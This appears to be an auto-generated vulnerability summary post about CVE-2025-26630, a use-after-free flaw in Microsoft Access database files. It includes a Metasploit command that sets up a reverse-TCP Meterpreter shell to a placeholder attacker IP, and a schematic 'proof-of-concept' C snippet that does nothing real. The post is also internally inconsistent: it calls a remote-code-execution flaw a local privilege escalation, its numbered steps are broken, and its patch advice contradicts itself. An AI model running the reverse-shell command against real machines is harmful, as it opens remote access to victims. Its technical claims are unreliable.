Listen to this Post
How the CVE Works
CVE-2025-26630 is a use-after-free vulnerability in Microsoft Office Access that occurs when improperly handled memory references persist after deallocation. An attacker can craft a malicious Access database file (.accdb) that triggers improper memory management during object dereferencing. When the victim opens the file, the freed memory is reused, allowing arbitrary code execution with the victim’s privileges. The flaw resides in the Access database engine (ACE), specifically in record handling functions. Attackers exploit this by manipulating pointer references post-free, leading to controlled memory corruption and eventual RCE.
DailyCVE Form
Platform: Microsoft Office Access
Version: 2016, 2019, 365
Vulnerability: Use-After-Free RCE
Severity: Critical
Date: 07/03/2025
Prediction: Patch by 09/2025
What Undercode Say
msfconsole -q use exploit/windows/fileformat/office_access_uaf set PAYLOAD windows/meterpreter/reverse_tcp set LHOST <attacker_ip> exploit
// Proof-of-Concept snippet triggering UAF
void corrupt_mem() {
freed_obj->vtable = attacker_controlled_addr;
freed_obj->execute();
}
How Exploit
1. Attacker crafts malicious .accdb file.
- Victim opens the file in vulnerable Access version.
3. Memory corruption leads to arbitrary code execution.
Protection from this CVE
1. Apply Microsoft’s pending patch.
2. Disable macros/ActiveX.
3. Use Office in Protected View.
Impact
- Local privilege escalation.
- Full system compromise.
- Bypass security controls.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
